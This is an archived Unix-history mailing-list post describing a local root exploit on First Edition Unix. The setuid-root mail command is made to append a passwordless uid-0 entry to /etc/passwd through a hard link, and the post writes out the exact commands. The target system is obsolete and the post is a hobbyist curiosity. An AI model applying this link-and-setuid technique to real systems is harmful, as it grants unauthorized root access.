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* [TUHS] Some fun with 1st ed
@ 2008-05-03 19:20 Tim Newsham
  2008-05-03 19:24 ` Larry McVoy
  0 siblings, 1 reply; 5+ messages in thread
From: Tim Newsham @ 2008-05-03 19:20 UTC (permalink / raw)


All work and no play...

Here's a fun hack for first edition unix.  From MAIL (I) :

   When followed by the names of a letter and one or more people, the
   letter is appended to each person's mailbox.  Each letter is
   preceded by the sender's name and a postmark.

   A person is either the nameof an entry in the directory /usr, in
   which case the mail is sent to /usr/person/mailbox, or the path
   of a directory, in which case mailbox in that directory is used.

Mail is setuid root:

# ls -l /bin/mail
  80 surwr-  1 root   3940 Jan  1 00:00:00 mail

login as a non-root user (ie "bin"), create a file "letter" with the 
contents "hack::0:/:".  Run:

    @ ln /etc/passwd /tmp/mailbox
    @ mail letter /tmp

log out and log back in as "hack".  You are now root.  Cat /etc/passwd
and notice:

   From bin Jan  1 00:49:22
   hack::0:/:

clean up the file a little and enjoy your new elevated status.

Tim Newsham
http://www.thenewsh.com/~newsham/



^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2008-05-19 17:35 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2008-05-03 19:20 [TUHS] Some fun with 1st ed Tim Newsham
2008-05-03 19:24 ` Larry McVoy
2008-05-03 19:29   ` Wilko Bulte
2008-05-03 19:34     ` Tim Newsham
2008-05-19 17:35     ` [Unix-jun72] " Angus Robinson

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